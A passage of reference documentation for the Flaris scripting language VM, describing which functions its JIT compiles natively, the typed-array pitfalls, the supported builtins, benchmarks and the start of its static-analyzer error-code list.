String literals	Read-only uses share the literal: comparisons, concatenation, arguments to a builtin that neither keeps nor returns them, and a local that is only read. A literal passed to a script function, stored in a field, returned, or given to a builtin that may keep or return it is a fresh copy, as in interpreted code. A local holding a literal must not be written through (`s[i] = c`), returned, stored or passed to a script function
A builtin with an `any` result, stored into an annotated local (`let n: int = Json.FastSelect(p, j);`) or returned from a typed function	The value gets the same run-time check as in interpreted code - error code 22 with the same message, `int` converted for a `float` target, `nil` refused for a scalar - and the function stops at a mismatch. Targets: `int`, `float`, `bool`, `char`, `string`, `block`

A lambda is judged like a named function. A typed lambda that captures nothing - `fn (x: int): int { return x * x + 1; }` - gets native code, so `Array.Select`, `Reduce` and the other callback builtins call it natively, and as a `ProcessCallback` / `ProcessEvent` kernel it runs on another core exactly as a named kernel does. The function that creates a lambda stays interpreted itself, and `--check` lists each lambda as `<lambda>` with its line.

What still requires the interpreter:

Not allowed in a JIT function	Why
Object literals `{a: 1}`; `[char]` / `[bool]` or heterogeneous array literals	Untracked heap allocation (homogeneous `[int]` / `[float]` literals in a declaration are lowered)
`new Foo(...)` with a constructor, or with arguments	Constructor dispatch — only argument-less `let p = new C()` on a constructor-less class is lowered
`obj.field` on an object of unknown class	Dynamic property lookup — resolved only for `this`, a class-typed parameter, or a `new`-pinned local
`try` / `catch`, `yield`, `await`	Interpreter machinery
A lambda that captures a variable of the enclosing function, or uses its `this`	The captured values live in the lambda's own environment, which native code cannot see
Global variable reads/writes	Globals live in the interpreter environment
A string, array, block, instance or `nil` value tested for truth (`if (s)`, `!s`, `s && t`)	`nil` and empty values are false in the interpreter; compare explicitly (`s != nil`, `len(s) > 0`) to stay native

A function that uses an unsupported construct is simply not JIT-compiled - it runs on the bytecode interpreter with identical semantics. `flarisvm --check file.fls` prints the per-function verdicts and the exact reason a function stays interpreted.

The `JIT` column in the R8 stdlib tables

Cell	Meaning
✓	Callable directly from JIT-compiled code (scalar result, arguments passed borrowed)
✓ owned[1]	Callable; the fresh object result must be consumed where the frame can track it: a local declaration's initializer, a return value, or a string-concatenation operand
✓ statement[2] / ✓[2]	Callable on an `[int]` / `[float]` / `[char]` / `[bool]` array; on an array of any other element type the surrounding function falls back to the interpreter. `✓ statement[2]` only as a statement (its result discarded) - `a = Array.Append(a, v)` and the method form `a.Append(v)` count as statements. A value of another element type raises `Exception.TypeMismatch`, as in the interpreter; a `[float]` array also takes an `int`
✓ `--unsafe`	Callable, but the builtin itself requires unsafe mode (`--unsafe`) at runtime
✓ checked	Callable when its result initializes an annotated local, is assigned to one, or is returned from a typed function: the value is checked against the declared type exactly as in interpreted code
—	Not callable natively - a call makes the surrounding function fall back to the interpreter

Callable builtins require every argument to be a JIT value (typed scalar, string, block, typed array, or `nil`); optional trailing arguments may be omitted exactly as in interpreted code. The core builtins `len(x)`, `int(x)`, and `float(x)` are also JIT-lowered.

The array mutators behave exactly as in the interpreter, including growth past the capacity, an out-of-range `InsertAt` / `RemoveAt` index that changes nothing, and values across the full 64-bit `int` range. A value of another element type (a `float` for an `[int]` array) raises `Exception.TypeMismatch` in compiled code, as in the interpreter. A `foreach` variable over a typed array has the element type, so it can be passed to a mutator directly. A `foreach` over an array reads the array's length again before every step whenever its body calls something that can resize it, so elements appended or removed during the loop are seen exactly as the interpreter sees them.

The practical rule remains: **assemble complex data structures in normal interpreter code; pass typed arrays, blocks, and scalars into JIT functions that do the heavy computation**.

Typed arrays: how an array becomes one

A `[int]` / `[float]` / `[char]` / `[bool]` parameter is re-checked **at the native entry**: if the array that arrives is not internally typed, the call silently takes the interpreter path. The function still shows as `✓` under `--check` — it did compile — but nothing calls the compiled version. There is no error and no warning, and `type()` reports `Type.Array` either way, so the only symptom is that the code runs at interpreted speed.

What an array is born as decides this, and it is not visible afterwards:

How the array is created	Typed?
`Array.Create(n, Type.Int)` (with an element type)	**yes**
`Array.Create(n)` (no element type)	no
`[]`, then `Array.Append(...)`	no
`[1, 2, 3]` — a literal	no
`Array.Append` / `Array.RemoveAt` / element writes on an already-typed array	yes — mutation preserves it
`Array.Subset(src, ...)` of a `[float]` array	yes
`Array.Subset(src, ...)` of an `[int]` / `[char]` / `[bool]` array	**no**
`Array.Concat(src, [])` — of any typed array	**no**

The split in the last three rows is the element type, not the operation. `Array.Create(n, Type.Float)` returns a *flat* `double[]`, a representation `Array.Subset` carries across; the other element types are boxed arrays wearing a type tag, and `Array.Subset` hands back an untagged one. `Array.Concat` drops the tag in every case.

So an empty accumulator that must stay typed is `Array.Create(0, Type.Int)`, not `[]`; copying a `[float]` with `Array.Subset` is safe, and copying an `[int]` means `Array.Create` plus a loop.

```
fn sumL(a: [int]): int {
    var s = 0;
    iter (i from 0 to len(a)) { s += a[i]; }
    return s;
}

var fast = Array.Create(n, Type.Int);        // native: ~2 ms over 2000 x 2000
var slow = [];                                // same function, interpreted:
iter (i from 0 to n) { Array.Append(slow, i); }   // ~19 ms — 9x slower
```

The two calls are indistinguishable in the source and in `type()`. If a typed-array function is not delivering the speed-up you expect, this is the first thing to check.

Structuring code for JIT

The recommended split is:

```
// Interpreter layer: set up data, call the compute function, use results
fn process_signal(raw: array) : array {
    let n: int = len(raw);
    let buf: [float] = Array.Create(n, Type.Float);
    // copy raw values into typed float array
    for (let i: int = 0; i < n; i++) { buf[i] = float(raw[i]); }
```

```
    // hand off to JIT - all heavy work happens here
    normalize(buf, n);

    return buf;
}

// JIT layer: typed arrays in, typed scalars/arrays out - no allocation
fn normalize(a: [float], n: int) : int {
    let max: float = 0.0;
    let i: int = 0;
    while (i < n) {
        if (a[i] > max) { max = a[i]; }
        i++;
    }
    if (max == 0.0) { return 0; }
    i = 0;
    while (i < n) { a[i] = a[i] / max; i++; }
    return 1;
}
```

Key points:

- The interpreter function creates the `[float]` array and fills it - that allocation lives outside the compute-heavy path
- The compute function receives the array as a parameter and works on it in-place - no allocation, no boxing
- Multiple JIT functions can call each other directly without re-entering the interpreter (see JIT fast-call for callbacks)

Small objects can also flow through JIT code when their class is statically known - a class-typed parameter, or a local constructed in place. Field reads and writes and method calls on such a receiver are native; `float` fields are stored copy-on-write, so a tight update loop allocates nothing:

```
class Vec2 {
    let x: float = 0.0;
    let y: float = 0.0;
    fn len2() : float { return this.x * this.x + this.y * this.y; }
}

// Class-typed parameter: `v`'s class is verified once at entry, then
// `v.x`, `v.y` and `v.len2()` are resolved to direct slot access / calls.
fn dist2(v: Vec2) : float { return v.len2(); }

// `new`-pinned local: construct in place, fill fields, loop - all native.
fn sweep(n: int) : float {
    let p = new Vec2();          // constructor-less class, frame-owned
    p.x = 3.0;
```

```
    p.y = 4.0;
    let acc: float = 0.0;
    for (let i: int = 0; i < n; i++) { acc = acc + p.len2(); }
    return acc;
}
```

Eligibility (automatic)

There is no keyword to mark a function for JIT. Unless `--jit-disable` is given, **every eligible function is compiled automatically** - just write ordinary functions with typed parameters. A function is **JIT-eligible** when all of the following hold:

- All parameters have explicit type annotations
- The return type is explicitly annotated, **or** the analyzer can infer it: when every `return` expression provably has the same single concrete scalar type, the function is typed automatically (chains of unannotated functions calling each other resolve too). Mixed returns (`return 1;` / `return 2.5;`) keep the function dynamic.
- Functions with no value returns (procedures) are also eligible - they produce `nil` exactly like the interpreter
- Parameter and return types are: `int`, `float`, `bool`, `char`, `string`, or `block`; typed arrays `[int]`, `[float]`, `[char]`, `[bool]`; or a **user-defined class** (`a: Vec2`) - the receiver's class is verified at the native entry, so field and method access on it is resolved statically. Optional parameters (`k?: int`) are fine - a native call always has every argument present and typed, and other call shapes take the interpreter path
- `string|nil`, `block|nil` and `instance|nil` are JIT types too, and a `nil` argument enters native code for them. `int|nil` and the other nullable scalars are not, and neither is `[int]|nil`: it cannot be told apart from `[int|nil]`
- The number of parameters does not matter, up to the language's limit of 16. Arguments beyond what the CPU passes in registers travel on the native stack, both from the interpreter and from other JIT-compiled functions
- The function body contains **none** of: `try`/`catch`, `yield`, `await`, member-access on an object of unknown class (`obj.field` - resolved for `this`, a class-typed parameter, or a `new`-pinned local), object literals (`{k: v}`), global variable access, or calls to non-eligible script functions. `new` is allowed only as `let p = new C()` for a constructor-less class, and array literals only as a `let a = [..]` initializer of a homogeneous `[int]`/`[float]` array
- String operations are native: comparisons (`==`, `!=`, ordering) anywhere, concatenation (`+`) as a local initializer, return value, or builtin-call argument, and string literals (see the table above for when a literal is copied)
- `foreach` over a typed-array or `string` parameter/local is allowed; `foreach (v, i in arr)` with an index variable is also supported. The loop variables are typed (see Loop variables), so they can be compared, appended, passed on and returned like typed locals

Allowed exceptions:

- Calls to every stdlib builtin marked ✓ in the R8 `JIT` column run at native speed; ✓ owned[1] builtins (`Buffer.Create`, `Array.Create`, `String.Replace`, …) additionally require their result to be consumed as a local initializer, a return value, or a concat operand

- Class methods are compiled too: `this.<field>` access (scalar/borrowed reads and int/bool/char/`float`/object stores), `this.method()`, static and `super.method()` calls all stay native when the callee is eligible and returns a scalar (`int`, `float`, `bool`, or `char`) - a static method calling itself, or a sibling that calls it back, included
- **Objects flow through JIT code** when their class is statically known - a class-typed parameter (`a: Vec2`), or a local pinned by `let p = new C()` (constructor-less class, not reassigned). On such a receiver, `p.field` reads and stores (int/bool/char inline, `float` copy-on-write, object fields borrowed) and `p.method(...)` calls are all native. This lets a self-contained numeric kernel construct a small object, fill its fields, and loop over them without leaving native code
- Calls to other eligible functions become direct JIT-to-JIT calls when the callee returns a scalar; object-returning script callees keep the caller on the interpreter

Fibers and long JIT loops: a JIT-compiled function runs as one native call and cannot be preempted, mid-loop or otherwise. It occupies the CPU until it returns: no IO is pumped, no timer fires, and no other fiber runs for the duration. Loops that `await`, sleep, or do IO still yield at those points, and control returns to the scheduler as soon as the JIT call finishes - but a long pure-compute kernel holds the thread throughout.

A per-back-edge scheduling check was measured and rejected: it costs 15-26% on loop-heavy kernels, which is more than the fairness is worth for a tier whose whole purpose is tight numeric loops. Split a very long computation across several calls if other fibers need to make progress while it runs.

```
fn sum_to(n: int) : int {
    let s: int = 0;
    for (let i: int = 1; i <= n; i++) { s = s + i; }
    return s;
}
```

A function that fails the eligibility check simply runs on the bytecode interpreter - no error, no warning. Use `--verbose` to see which functions qualified:

```
flarisvm --verbose myfile.fls
# [JIT] signature-eligible: sum_to (line 20)
# [JIT] signature-eligible: normalize (line 35)
```

If a function you expected to be JIT-compiled does not appear, look for one of the disqualifiers above - untyped parameters and member access on arbitrary objects (`obj.field`) are the most common surprises; `--check` prints the exact reason per function.

Checking eligibility with `--check`

`flarisvm --check <file.fls>` compiles the file without running it and prints a per-function eligibility report - the quickest way to see what runs native and, for anything that doesn't, exactly why:

```
flarisvm --check mymath.fls
```

```
JIT eligibility  (✓ native   · interpreted):
```

```
  ✓ sum_to                        (line 12)
  ✓ dot                           (line 20)
  · scale_all                     (line 28) - a builtin call the JIT cannot make
  · label                         (line 34) - a parameter is untyped, or not a JIT type
(int/float/bool/char/string/block, or a typed array)
  ✓ dist                          (line 51)
  · <lambda>                      (line 60) - captures a variable of the enclosing function
(closures are not JIT-compiled)

  3 of 6 functions are JIT-eligible.
```

The reason on each `·` line names the first disqualifier and its line, so you can fix or restructure without guessing. It also works on library files, e.g. `flarisvm --check libs/Signals.fls --libs='./libs'`, to see which functions of a module are numeric kernels.

A self-recursive call in tail position (`return f(n - 1, acc);`, or `return C.m(...)` inside the static method `C.m`) becomes a jump in native code: it reuses the frame, so its depth is unbounded whatever the number of parameters - unless an argument is a freshly built string, array or block, which the caller must release after the call returns. Any other recursion - including mutual recursion - is a real native call, bounded by the native stack the JIT reserves rather than by the interpreter's frame limit. Interpreted, a function's tail call reuses its frame but a static method's does not, so deep static recursion that runs natively can exhaust the frames under `--jit-disable`; both modes agree below that depth.

Denied modules and native code

An embedding host can deny whole built-in modules to its scripts (see the Embedding guide §10). JIT-compiled code honours that exactly as the interpreter does. Every compiled function knows which built-in modules its native code can reach, counting every compiled function it calls; in a host that denies one of them, the function runs interpreted, and the call raises `Exception.ModuleDenied` at the same place it would with the JIT off. Fibers the script spawns and callbacks a builtin runs for it are held to the same mask. A function that reaches no built-in module - and every function when nothing is denied - enters native code as usual. Modules registered by the host application are not built-in modules and are not affected.

Exceptions in native code

A raise inside JIT-compiled code - an index out of range, a division by zero, a builtin that raises, a compiled function it calls that raises - stops the function right there, as it stops interpreted code: nothing after the raise runs, the strings, buffers and instances the function created are released, and each compiled caller stops the same way until a `catch` or the interpreter takes the exception. The exception caught is the first one raised. Compiled functions keep no interpreter frame, so `StackTrace` lists them after the interpreted frames that called them as `at name (file) [native]`. The two modes can still differ in depth: an interpreted trace leaves out a function the optimizer inlined into its caller, and runaway recursion ends native code with `Exception.NestingError` where the interpreter, whose limit is the value stack, may raise `Exception.StackError` at another depth.

JIT IR in compiled .flx files

The JIT is on by default at both ends. When you compile a `.flx`, the JIT code for every eligible function is embedded alongside the regular bytecode; with `--jit-disable` at compile time, none is written:

```
flarisvm --compile myfile.fls myfile.flx              # compile - embeds JIT code
flarisvm --exec myfile.flx                            # execute - runs functions natively
flarisvm --jit-disable --exec myfile.flx              # execute - bytecode only (JIT code
present but inactive)
```

The embedded JIT code is architecture-independent - the same `.flx` runs natively on any platform with a JIT backend, and stays fully portable: `--jit-disable` at run time leaves it in the file but never compiles it, and functions run on the bytecode interpreter. (Self-contained binaries built with `--embed` record the setting chosen at embed time.)

Supported operations

Category	What is JIT-compiled
Int arithmetic	`+` `-` `*` `/` `%` on `int` locals
Float arithmetic	`+` `-` `*` `/` on `float` locals; unary negation
Bitwise / shifts	`&` `|` `^` `<<` `>>` `>>>` on `int`
Comparisons	`<` `<=` `>` `>=` `==` `!=` (int and float)
Logical	`&&` and `||` with short-circuit evaluation
Bool operations	`bool` params/return; `true` / `false` literals; bool in `if`
Control flow	`if` / `else`, `while`, `for`, `iter`, `foreach`, `return`
Switch	`switch` on `int`, `bool`, or `char` expression with literal case values; `break` and fallthrough supported
Counter ops	`i++` `i--` `i += n` `i -= n` (also `*=`, `/=`, `%=`, `&=`, `|=`, `^=`, `<<=`, `>>=`, `>>>=`)
Type conversions	`float(n)` widens int; `int(x)` truncates float
Int array reads	`a[i]` and `a[constant]` where `a: [int]`
Int array writes	`a[i] = expr` and `a[constant] = expr` where `a: [int]`
Float array reads	`a[i]` and `a[constant]` where `a: [float]` (returns unboxed double)
Float array writes	`a[i] = expr` and `a[constant] = expr` where `a: [float]`
Char array reads	`a[i]` and `a[constant]` where `a: [char]` (returns unboxed codepoint)
Char array writes	`a[i] = expr` and `a[constant] = expr` where `a: [char]`
Bool array reads	`a[i]` and `a[constant]` where `a: [bool]` (returns unboxed 0/1)
Bool array writes	`a[i] = expr` and `a[constant] = expr` where `a: [bool]`
Array returns	Functions may return a typed array (`[int]`, `[float]`, etc.); the array object is passed through unboxed
Logical NOT	`!expr` where expr is a bool or bool-typed local
String char reads	`s[i]` and `s[constant]` where `s: string` (returns codepoint)
String char writes	`s[i] = expr` and `s[constant] = expr` where `s: string`
Array length	`len(a)` where `a` is any array or string
Foreach - int/char/bool array	`foreach (v in a)` and `foreach (v, i in a)` where `a: [int]` / `[char]` / `[bool]`; element is unboxed
Foreach - float array	`foreach (v in a)` where `a: [float]`; element is unboxed double
Foreach - string	`foreach (c in s)` where `s: string`; yields each byte as an unboxed `char`
Math builtins	`Math.Sin`, `Math.Sqrt`, etc. - see table below
Char builtins	`Char.IsAlpha`, `Char.ToUpper`, etc. - see table below
Math int builtins	`Math.BitCount`, `Math.LeadingZeros`, `Math.TrailingZeros`, `Math.BitLength`
String comparison	`==` `!=` `<` `<=` `>` `>=` on strings (variables, literals, string fields of `this`) - exact interpreter semantics
String concatenation	`a + b + …` on strings, as a local initializer, return value, or builtin-call argument
String literal returns	`return "text"` in string-returning functions
Block (buffer) access	`b[i]` reads/writes on `block` params/locals; `Buffer.ReadU8At`-family via descriptor rows

Category	What is JIT-compiled
Buffer/array creation	`let b = Buffer.Create(n, w)` / `Array.Create(n, Type.X)` as local initializer; the result may be returned
Stdlib builtin calls	Every builtin marked ✓ in the R8 `JIT` column (pure or JIT-safe, scalar or owned-object result)
Class fields	`this.<field>` reads/writes for scalar fields of the method's own class (declared `let x: int = …`)
Method calls	`this.method(…)`, `ClassName.Static(…)`, `super.method(…)` to eligible scalar-returning callees
Optional parameters	`k?: int` params; `k == nil` folds to a constant on the native path
Void procedures	Functions with no value returns compile and produce `nil` at the boundary

Out-of-bounds array or string accesses in JIT-compiled functions return `nil` safely.

`switch` in JIT functions - requirements and limitations:

- The switch expression must have a static type of `int`, `bool`, or `char`
- All `case` values must be integer, bool, or char literals - computed case expressions disqualify the function
- Multiple values per case use stacked `case` labels: `case 1: case 2: body` (not `case 1, 2:`)
- `break` inside a case body works correctly
- Fallthrough (no `break` between cases) is supported
- Nested `break` (e.g., `break` inside an `if` inside a `case`) is **not** supported in the JIT - it will be emitted but will not break out of the enclosing switch

> **Fiber scheduling:** a JIT-compiled function runs as one native call and cannot be preempted mid-call. There is no counter at its loop back-edges: no IO is pumped, no timer fires and no other fiber runs until the call returns, so a very long kernel occupies the CPU for its whole duration. See **Fibers and long JIT loops** above for how to split one up.
>
> **Operator precedence note:** In Flaris, bitwise `&` has higher precedence than comparison operators (`>=`, `<=`, etc.). Use `&&` (logical AND) to combine comparison results: `x >= lo && x <= hi`.

Math builtins in JIT functions

JIT functions may call the following `Math.*` functions directly, at native speed (no interpreter overhead). All take and return `float`:

Call	Meaning
`Math.Sqrt(x)`	Square root
`Math.Cbrt(x)`	Cube root
`Math.Sin(x)` `Math.Cos(x)` `Math.Tan(x)`	Trigonometric (radians)
`Math.Asin(x)` `Math.Acos(x)` `Math.Atan(x)`	Inverse trigonometric
`Math.Atan2(y, x)`	Angle of the point `(x, y)`
`Math.Sinh(x)` `Math.Cosh(x)` `Math.Tanh(x)`	Hyperbolic
`Math.Asinh(x)` `Math.Acosh(x)` `Math.Atanh(x)`	Inverse hyperbolic
`Math.Exp(x)`	e to the power x
`Math.Expm1(x)`	`Exp(x) - 1`, accurate for small x
`Math.Pow(x, y)`	x to the power y
`Math.Log(x)`	Natural logarithm
`Math.Log10(x)` `Math.Log2(x)`	Base-10 / base-2 logarithm

Call	Meaning
`Math.Log1p(x)`	`Log(1 + x)`, accurate for small x
`Math.LogBase(x, base)`	Logarithm of x in the given base
`Math.AbsF(x)`	Absolute value
`Math.Floor(x)` `Math.Ceil(x)` `Math.Round(x)` `Math.Trunc(x)`	Rounding
`Math.Hypot(x, y)`	`Sqrt(x² + y²)` without overflow
`Math.MinF(x, y)` `Math.MaxF(x, y)`	Smaller / larger of two floats
`Math.IEEERemainder(x, y)`	IEEE floating-point remainder
`Math.CopySign(x, y)`	Magnitude of x with the sign of y
`Math.Deg(x)` `Math.Rad(x)`	Radians→degrees / degrees→radians
`Math.Fract(x)`	Fractional part, `x - Floor(x)`
`Math.Clamp01(x)`	Clamp to the range `[0, 1]`
`Math.Sech(x)` `Math.Csch(x)`	`1/Cosh(x)` / `1/Sinh(x)`
`Math.Cot(x)` `Math.Csc(x)` `Math.Sec(x)`	`1/Tan(x)` / `1/Sin(x)` / `1/Cos(x)`
`Math.Acot(x)` `Math.Acoth(x)`	Inverse cotangent / inverse hyperbolic cotangent
`Math.Gamma(x)` `Math.LnGamma(x)`	Gamma Γ(x) / log-gamma
`Math.Erf(x)` `Math.Erfc(x)`	Error function / complementary error function

These always return a `float` and follow IEEE semantics (see the *Math* module below): domain errors return `NaN`, poles return `±Inf`. `a * b + c` keeps both of its roundings in native code too; `Math.Fma(a, b, c)` is the single-rounding form.

```
fn gaussian(x: float, mu: float, sigma: float): float {
    let d: float = (x - mu) / sigma;
    return Math.Exp(-0.5 * d * d) / (sigma * Math.Sqrt(6.283185307));
}
```

Math integer intrinsics in JIT functions

The following `Math.*` functions take and return `int` and run at native speed:

Call	Description
`Math.BitCount(n)`	Number of set bits (popcount)
`Math.LeadingZeros(n)`	Count of leading zero bits (64-bit)
`Math.TrailingZeros(n)`	Count of trailing zero bits (64-bit)
`Math.BitLength(n)`	Bit length: floor(log2(abs(n))) + 1, or 0 for 0
`Math.Abs(n)`	Integer absolute value
`Math.Sign(x)`	-1 / 0 / 1; `x` may also be a float
`Math.Min(a, b)`	Integer minimum
`Math.Max(a, b)`	Integer maximum

`Math.Lerp(a, b, t)` and `Math.Fma(a, b, c)` (float) also run natively, with the same rounding as the interpreter.

Char builtins in JIT functions

JIT functions may call the following `Char.*` functions directly, at native speed:

Call	Description	Returns
`Char.IsAlpha(c)`	True if `c` is an alphabetic character	`bool`
`Char.IsDigit(c)`	True if `c` is a decimal digit	`bool`

Call	Description	Returns
`Char.IsAlNum(c)`	True if `c` is alphanumeric	`bool`
`Char.IsUpper(c)`	True if `c` is uppercase	`bool`
`Char.IsLower(c)`	True if `c` is lowercase	`bool`
`Char.IsSpace(c)`	True if `c` is whitespace	`bool`
`Char.IsPunct(c)`	True if `c` is punctuation (ASCII)	`bool`
`Char.IsXDigit(c)`	True if `c` is a hex digit (ASCII)	`bool`
`Char.IsPrint(c)`	True if `c` is printable	`bool`
`Char.IsControl(c)`	True if `c` is a control character	`bool`
`Char.IsAscii(c)`	True if `c` < 128	`bool`
`Char.IsCased(c)`	True if `c` has case (upper/lower)	`bool`
`Char.IsNewline(c)`	True if `c` is a line-ending character	`bool`
`Char.ToUpper(c)`	Uppercase mapping of `c`	`char`
`Char.ToLower(c)`	Lowercase mapping of `c`	`char`
`Char.SwapCase(c)`	Toggle case of `c`	`char`
`Char.Utf8Len(c)`	Number of UTF-8 bytes needed to encode `c`	`int`
`Char.DigitValue(c)`	Numeric digit value of `c` (0–9, -1 if not a digit)	`int`
`Char.Code(c)`	Unicode codepoint of `c`	`int`
`Char.FromInt(n)`	Char for codepoint `n` (`n` masked to 32 bits)	`char`

Parameters and return values are unboxed `char` or `int` inside the JIT. The function signature must use `char` or `int` as appropriate.

Block indexing and memory access in JIT functions

JIT functions may index a `block` parameter and call a small set of memory/buffer functions directly, with the same bounds checks and results as the interpreter:

Construct	Meaning
`b[i]` (read)	Element read of block `b` (honours the block's element size): unsigned for 1-, 2- and 4-byte elements, the raw int64 for 8-byte ones
`b[i] = v` (write)	Truncated element write
`Memory.Read8/16/32/64(addr[, off])`	Unsigned integer at a **raw integer** address, native byte order (requires `--unsafe`)
`Memory.Write8/16/32/64(addr, val[, off])`	Store an integer at a raw integer address (requires `--unsafe`)
`Memory.Swap16/32/64(v)`	Byte-order (endianness) swap of a plain integer
`Memory.Compare(a, b, len)`	Compare `len` bytes at two **raw integer** addresses, like `memcmp` (requires `--unsafe`)
`Memory.ReadFloat32/64(addr[, off])`	Read an IEEE float/double at a raw integer address (requires `--unsafe`)
`Memory.WriteFloat32/64(addr, val[, off])`	Store an IEEE float/double at a raw integer address (requires `--unsafe`)
`Buffer.ReadU8/16/32/64At(buf, off)`	Little-endian unsigned read from a block; `0` if out of range
`Buffer.WriteU8/16/32/64At(buf, off, v)`	Little-endian bounded store into a block; returns `bool`

Two constraints apply: `Memory.*` runs natively only when the address argument is a plain `int` (passing a `block` / `string` / `pointer` uses the interpreter), and the `Buffer.Read/Write` calls run natively in their little-endian form (the default). With the optional endianness flag given as a plain variable, field or literal the call still runs natively: a false flag takes the same inline path, a true flag the big-endian helper. Any other flag expression falls back to the interpreter.

```
fn count_upper(s: string, n: int): int {
    let count: int = 0;
    let i: int = 0;
    while (i < n) {
        if (Char.IsUpper(s[i])) { count = count + 1; }
        i++;
    }
    return count;
}
```

JIT fast-call for callbacks

When a JIT-compiled function is passed as a callback to one of the builtins below, the builtin runs it natively per element instead of through the bytecode interpreter. This eliminates the per-element interpreter overhead for high-throughput loops.

Array methods - callback receives the element (and index where noted):

Method	Callback signature
`Array.ForEach(arr, fn)`	`fn(elem: T): any`
`Array.Select(arr, fn)`	`fn(elem: T): U`
`Array.Where(arr, fn)`	`fn(elem: T): bool`
`Array.Reduce(arr, fn, init)`	`fn(acc: T, elem: T): T`
`Array.Find(arr, fn)`	`fn(elem: T): bool`
`Array.Count(arr, fn)`	`fn(elem: T): bool`
`Array.Process(arr, fn)`	`fn(elem: T): T` - mutates in place
`Array.ProcessIdx(arr, fn)`	`fn(elem: T, idx: int): T` - mutates in place
`Array.SortBy(arr, fn)`	`fn(elem: T): key`
`Array.Sort(arr, fn)`	`fn(a: T, b: T): bool` - comparator; return true if a < b

Other builtins:

Method	Callback signature
`Memory.Process(addr, count, size, fn)`	`fn(val: int, idx: int): int` - rewrites each element
`Buffer.ProcessCallback(fn, buf, len, blocksize, cb)`	`fn(buf: block, len: int, blocksize: int): int|float` - whole-buffer kernel; the result reaches `cb(buf, result)`

The fast path is selected automatically at runtime unless `--jit-disable` is given, when the passed function is JIT-eligible. Otherwise (`--jit-disable` , or the function isn't eligible) the builtin falls back to the normal interpreter path transparently.

Passing a builtin itself is faster still, with or without the JIT: `Array.Count(names, String.IsEmpty)` calls `IsEmpty` directly for each element, with no script function in between - about 5x faster than `Array.Count(names, fn(s: string): bool { return s == ""; })` even when that lambda is JIT-compiled.

```
fn brighten(v: int, idx: int): int {
    // Scale a sample and clamp - a typed, allocation-free body, so it lowers.
    let x: int = v * 2;
    if (x > 255) { x = 255; }
    return x;
```

```
}

let buf = Buffer.Create(1024, 1);
Memory.Process(Buffer.GetAddress(buf), 1024, 1, brighten);  // native per-element loop
```

Calling convention and memory

JIT-compiled functions share the same call sites as interpreter functions - callers use the normal path. The compiled function pointer is stored and invoked directly once available.

Machine code is allocated with `mmap` / `mprotect` (no entitlement required on macOS).

Full workflow example

```
# 1. Compile with JIT IR embedded
flarisvm --compile myapp.fls myapp.flx

# 2. Verify which functions are eligible (structural check)
flarisvm --verbose myapp.fls

# 3. Run with JIT active
flarisvm --exec myapp.flx

# 4. Run without JIT (fallback to bytecode interpreter, even if JIT IR present)
flarisvm --exec myapp.flx

# 5. Source file directly: compile+run in one step with JIT
flarisvm myapp.fls
```

Benchmark reference

Workload	JIT	Interpreter	Speedup
Gaussian sum to 10 M	~9.5 ms	~63 ms	6.6×
sum_range(10 000) × 10 000 reps	~54 ms	~606 ms	11×
count_down(10 000) × 10 000 reps	~53 ms	~954 ms	18×

Results are wall-clock time on a single fiber. Workloads with tight integer loops show the largest gains; workloads dominated by string or object operations are unaffected.

R12 - Static Analyzer

Between the parser and the optimizer, every compile runs an eight-pass static analyzer over the AST. It resolves names and types, reports problems, and decorates the tree with the facts the optimizer, code generator and JIT depend on: which declaration each call resolves to (inlining), which calls have no side effects (so a loop-invariant call can be hoisted), and which functions qualify for native compilation.

The analyzer runs on every compile - `flarisvm file.fls`, `--compile`, `VM.Eval`, and module loading. It is not a separate lint step and cannot be skipped.

Diagnostic format

```
❌ Error: file.fls:12:5: 1000: Operator '-' does not accept string as its left operand.
⚠️ Warning: file.fls:19:9: 2000: Local 'tmp' is never read (prefix with '_' to suppress).
```

`file:line:column: code: message` - all diagnostics, and the summary lines (`Errors detected: N`, `Warnings detected: N`) after them, go to **stderr**, so a warning never mixes into what the program writes to stdout.

Diagnostics are collected during analysis and emitted once, sorted by source position. Output is therefore **reproducible**: the same input produces byte-identical output on every run, which makes it safe to diff build logs or assert on compiler output in tests.

A compile stops after **100 errors** and stops recording after **200 warnings**; the remainder are counted and summarised. Compilation fails if any error was reported, or if any warning survives suppression under `-Werror`.

Text interpolated into a diagnostic (identifiers, string-literal contents, the file name) has its control bytes escaped as `\xNN`, so source or a path containing terminal escape sequences cannot repaint the terminal or forge compiler output.

Error codes (1000+)

Errors cannot be suppressed; the **Name** column is what appears in JSON diagnostics.

Code	Name	Symbol	Meaning
1000	`type-error`	`TYPE_ERROR`	Operand, assignment or argument type mismatch
1001	`arg-count`	`ARG_COUNT`	Wrong number of arguments to a function, method or constructor
1002	`invalid-return`	`INVALID_RETURN`	A path can finish without returning a declared value, or `return;` where a value is required
1003	`undefined-symbol`	`UNDEFINED_SYMBOL`	Name does not resolve - undefined variable, function, export or base class, or a member a built-in module does not have (`Math.Flor` suggests `Floor`; a read reports the same as a call)
1004	`redeclaration`	`REDECLARATION`	Name already declared in this scope
1005	`const-assign`	`CONST_ASSIGN`	Write to a `const` binding, or to one of its properties or elements
1006	`invalid-control-flow`	`INVALID_CONTROL_FLOW`	`break` / `continue` outside a loop or switch, `return` outside a function, or control leaving a `finally`
1007	`invalid-throw`	`INVALID_THROW`	Thrown value is not an `Exception` (or subclass) instance
1008	—	`INVALID_CAST`	*Reserved* - a cast is an assertion and is not checked
1009	`import-resolution`	`IMPORT_RESOLUTION`	An imported name is not among the exports of a library whose compiled `.flx` was found - see Reserved codes for what is deliberately left to the loader
1010	`class-this-usage`	`CLASS_THIS_USAGE`	`this` used outside an instance method
1011	`async-await-misuse`	`ASYNC_AWAIT_MISUSE`	`await` outside an `async` function, or applied to a non-fiber
1012	`missing-entry`	`MISSING_ENTRY`	The program has neither `fn Main` nor any `export`

Code	Name	Symbol	Meaning
1013	`invalid-assign`	`INVALID_ASSIGN`	Assignment used as an `if` / `while` / `for` condition (e.g. `if (x = 1)`) - almost always a typo for `==`
1014	`undeclared-field`	`UNDECLARED_FIELD`	Member is not declared on a sealed instance - unknown field or method
1015	`circular-inheritance`	`CIRCULAR_INHERITANCE`	A class extends itself through its base chain
1016	`missing-receiver`	`MISSING_RECEIVER`	An instance method is called through the class name - call it on an instance, or declare it `fn static`
1017	`division-by-zero`	`DIVISION_BY_ZERO`	`/` or `%` whose right operand is the literal `0` or `0.0` - both lanes raise at runtime, so the expression can never complete. A zero held in a variable is a runtime matter and is not reported

Warning codes (2000+)

The **Name** column is the exact spelling accepted by `-Wno-<name>` and `// flaris-ignore[<name>]`, and the one emitted in JSON diagnostics. It is not always a mechanical kebab-casing of the symbol - `2002` and `2003` differ - so copy it from this column rather than deriving it.

